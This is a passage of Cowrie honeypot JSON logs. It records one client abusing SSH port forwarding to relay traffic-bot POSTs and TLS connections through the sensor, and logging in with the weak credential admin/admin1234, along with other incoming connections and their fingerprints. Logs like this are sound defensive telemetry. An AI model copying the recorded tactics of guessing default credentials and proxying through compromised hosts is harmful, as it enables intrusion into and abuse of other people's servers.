{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:01.057415Z","src_ip":"23.175.50.52","session":"e6f66b0d95d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 6.0.1; TB-X103F Build/LenovoTB-X103F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=P2pPdUE1aHklfSZ7PC9Taw%3D%3D2ta4EDMZYDFTBdjc5vr2l41Wh8x70wBN80vA0v41If1ib6Cn5v2N0l7fhlPlQk2o9%2F7NBiH8WjV3b7AiZjOxi791zQbHPq5ET%2BSDkOj8tPaqq1vmOAR55pI0qiqqXW%2FTh1cROElPhc53UE065kXzZagYskVleEoPmYmOyuQjn7xKc1C8ESV3L9Z5KhfRAdTyWmJcYJeTu%2FybCO2%2Fj8cnjsQCkRMYa7w%2BIM6G%2BLu0lk30TY71YKApAf8tBQFXw6thoLJ3cdFMgSYDJK%2FZhaDi0gDJA6yu0aS4jhm%2Fh2E6b5RJnGJxgaGFLEeDrl0GuKxwmpUPCER6o1aAAKLkJWbEGAMM5gO1Z%2BKp%2BR1ntVaXXbOJ%2FMSG6tUEwUuEeCXNnI2kLuZILIFhCLW5Rgm2bwm3XpPZ%2FUqYJuBxpSnluAO%2B6oiHAWwiThRqafNew7OFMZGyPYF%2Fg%2B9z7DaESIoFEekOXGyH4Bm%2FWq0lV9OgT0bFixXEGnLuEuEYUvHnih7GVnMIgvuEMq9eDTAiHZ9%2Fst0JgwvGQwdgXH7698VPnbIGCe57GgObhGE1iF3%2FRhUDLEIPWCsiy5y4KpAqgKh%2BKu%2FMTdtmnDn16%2F1%2F4UO9TtACMkHmdfbdbL0antMyaaOO5AnZQUi2qT2wLzspti9%2Fn8Ln3%2B3rcijBxWP2zYxW%2Fgi7dPX%2Bsfu6m89qAiIl%2Bg8I1MY4UvoU0YgVhdJDBiOr8htukxRsoaCRhFLEfSE7il9N2tC8Ioew8TNLlCx8eSA3PpitfyACpdg99CU5mWBl2psyYGshUot%2BpTJ4x3wUPP76zn0niKGcE6tv8g87WUhXyGISTLacGTZwTfl7DZbQZYUJhQmURvCtsqKpsNOAav%2Bp%2Fm9%2BVNPFrxgwgY9eawC%2Bk%2BuJLkvVfnwCMQYIjFIYOAWXIZ5eMvVpazD4Y1%2BS9jj2XJMBoME1BZmNARMlS8iJMeWrD4TZaae7R1fUNXdQpZM2Tgs6y0rCpvtW3VEb5MLOMHjk0YP70tMbCqVDzhA5a0UBCG8sAOx0kPMD1UvkT%2B%2FA5Tv%2B5uq86bQrdlVcv5NvWIiCGFFbA3nJdMiGrmf70T1E'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 6.0.1; TB-X103F Build/LenovoTB-X103F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=P2pPdUE1aHklfSZ7PC9Taw%3D%3D2ta4EDMZYDFTBdjc5vr2l41Wh8x70wBN80vA0v41If1ib6Cn5v2N0l7fhlPlQk2o9%2F7NBiH8WjV3b7AiZjOxi791zQbHPq5ET%2BSDkOj8tPaqq1vmOAR55pI0qiqqXW%2FTh1cROElPhc53UE065kXzZagYskVleEoPmYmOyuQjn7xKc1C8ESV3L9Z5KhfRAdTyWmJcYJeTu%2FybCO2%2Fj8cnjsQCkRMYa7w%2BIM6G%2BLu0lk30TY71YKApAf8tBQFXw6thoLJ3cdFMgSYDJK%2FZhaDi0gDJA6yu0aS4jhm%2Fh2E6b5RJnGJxgaGFLEeDrl0GuKxwmpUPCER6o1aAAKLkJWbEGAMM5gO1Z%2BKp%2BR1ntVaXXbOJ%2FMSG6tUEwUuEeCXNnI2kLuZILIFhCLW5Rgm2bwm3XpPZ%2FUqYJuBxpSnluAO%2B6oiHAWwiThRqafNew7OFMZGyPYF%2Fg%2B9z7DaESIoFEekOXGyH4Bm%2FWq0lV9OgT0bFixXEGnLuEuEYUvHnih7GVnMIgvuEMq9eDTAiHZ9%2Fst0JgwvGQwdgXH7698VPnbIGCe57GgObhGE1iF3%2FRhUDLEIPWCsiy5y4KpAqgKh%2BKu%2FMTdtmnDn16%2F1%2F4UO9TtACMkHmdfbdbL0antMyaaOO5AnZQUi2qT2wLzspti9%2Fn8Ln3%2B3rcijBxWP2zYxW%2Fgi7dPX%2Bsfu6m89qAiIl%2Bg8I1MY4UvoU0YgVhdJDBiOr8htukxRsoaCRhFLEfSE7il9N2tC8Ioew8TNLlCx8eSA3PpitfyACpdg99CU5mWBl2psyYGshUot%2BpTJ4x3wUPP76zn0niKGcE6tv8g87WUhXyGISTLacGTZwTfl7DZbQZYUJhQmURvCtsqKpsNOAav%2Bp%2Fm9%2BVNPFrxgwgY9eawC%2Bk%2BuJLkvVfnwCMQYIjFIYOAWXIZ5eMvVpazD4Y1%2BS9jj2XJMBoME1BZmNARMlS8iJMeWrD4TZaae7R1fUNXdQpZM2Tgs6y0rCpvtW3VEb5MLOMHjk0YP70tMbCqVDzhA5a0UBCG8sAOx0kPMD1UvkT%2B%2FA5Tv%2B5uq86bQrdlVcv5NvWIiCGFFbA3nJdMiGrmf70T1E'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:01.061026Z","src_ip":"23.175.50.52","session":"e6f66b0d95d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:01.482036Z","session":"e6f66b0d95d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:01.550318Z","src_ip":"23.175.50.52","session":"e6f66b0d95d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03D\\xad)\\x93\\xc2\\xb3+A>\\xaaO\\x06\\xf3\\x01\\xafk\\xbf\\xdbe]\\xc8\\xe8\\xbd\\x142\\x9b\\x0fmJ\\xfe\\x97R Y\\x9b}\\x007\\xa7#\\x8c\\x95\\x96\\xf9/\\xf7 I\\xa7\\xce\\xac\\x87\\x99\\x97\\xb5\\x9c\\x19\\x9c\\x90G'\\xf8\\xd3\\x86\\xc1\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9bK;\\x96\\x86\\x15y\\xc0\\xab\\xdc<+B,e26\\xd5\\x15\\xf4-\\xce\\xd4-\\xef\\xf3\\x8c\\xc8\\xb5{\\xa2m\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03D\\xad)\\x93\\xc2\\xb3+A>\\xaaO\\x06\\xf3\\x01\\xafk\\xbf\\xdbe]\\xc8\\xe8\\xbd\\x142\\x9b\\x0fmJ\\xfe\\x97R Y\\x9b}\\x007\\xa7#\\x8c\\x95\\x96\\xf9/\\xf7 I\\xa7\\xce\\xac\\x87\\x99\\x97\\xb5\\x9c\\x19\\x9c\\x90G'\\xf8\\xd3\\x86\\xc1\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9bK;\\x96\\x86\\x15y\\xc0\\xab\\xdc<+B,e26\\xd5\\x15\\xf4-\\xce\\xd4-\\xef\\xf3\\x8c\\xc8\\xb5{\\xa2m\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:01.561924Z","src_ip":"23.175.50.52","session":"e6f66b0d95d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:01.986804Z","session":"e6f66b0d95d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:02.163018Z","src_ip":"23.175.50.52","session":"e6f66b0d95d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfc#2\\x95a\\xd3\\n\\xe3\\x9e\\xc6\\xa7\\xa19QO\\xc2\\xb5\\x95\\x8f\\xd7t\\xec\\x93\\xa4\\xa5\\x1a\\x07\\x84\\x8b\\x0f\\xdcw \\xc4\\xdb4 \\xe5/\\xb3p\\xef\\xec\\x8a\\xb1\\x8f:0\\x8c\\xdeO@\\xd9\\x07@H\\x06(\\x1aE\\xd6H\\xb5|A\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbd\\xc5\\xfboK\\x87\\x8d\\xa2\\x1dq\\x95\\xa8]\\x14\\xddiQ\\xf9\\x8b\\xec\\xbfQ\\x84b\\xe8Dq\\xea\\x1dR\\xf7d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfc#2\\x95a\\xd3\\n\\xe3\\x9e\\xc6\\xa7\\xa19QO\\xc2\\xb5\\x95\\x8f\\xd7t\\xec\\x93\\xa4\\xa5\\x1a\\x07\\x84\\x8b\\x0f\\xdcw \\xc4\\xdb4 \\xe5/\\xb3p\\xef\\xec\\x8a\\xb1\\x8f:0\\x8c\\xdeO@\\xd9\\x07@H\\x06(\\x1aE\\xd6H\\xb5|A\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbd\\xc5\\xfboK\\x87\\x8d\\xa2\\x1dq\\x95\\xa8]\\x14\\xddiQ\\xf9\\x8b\\xec\\xbfQ\\x84b\\xe8Dq\\xea\\x1dR\\xf7d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:02.166855Z","src_ip":"23.175.50.52","session":"e6f66b0d95d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":58576,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5bdb7635804","protocol":"ssh","message":"New connection: 23.175.50.52:58576 (10.17.0.5:22) [session: e5bdb7635804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:03.700662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:03.704905Z","src_ip":"23.175.50.52","session":"e5bdb7635804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:03.869847Z","src_ip":"23.175.50.52","session":"e5bdb7635804","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:05.341391Z","src_ip":"23.175.50.52","session":"e5bdb7635804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:06.690217Z","src_ip":"23.175.50.52","session":"e6f66b0d95d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.65.170.8","src_port":47462,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef3d35d351df","protocol":"telnet","message":"New connection: 50.65.170.8:47462 (159.203.135.109:23) [session: ef3d35d351df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:10.430387Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":48266,"dst_ip":"159.203.135.109","dst_port":22,"session":"9af395fe0ef7","protocol":"ssh","message":"New connection: 101.79.165.43:48266 (159.203.135.109:22) [session: 9af395fe0ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:14.641176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:14.650080Z","src_ip":"101.79.165.43","session":"9af395fe0ef7","protocol":"ssh"}
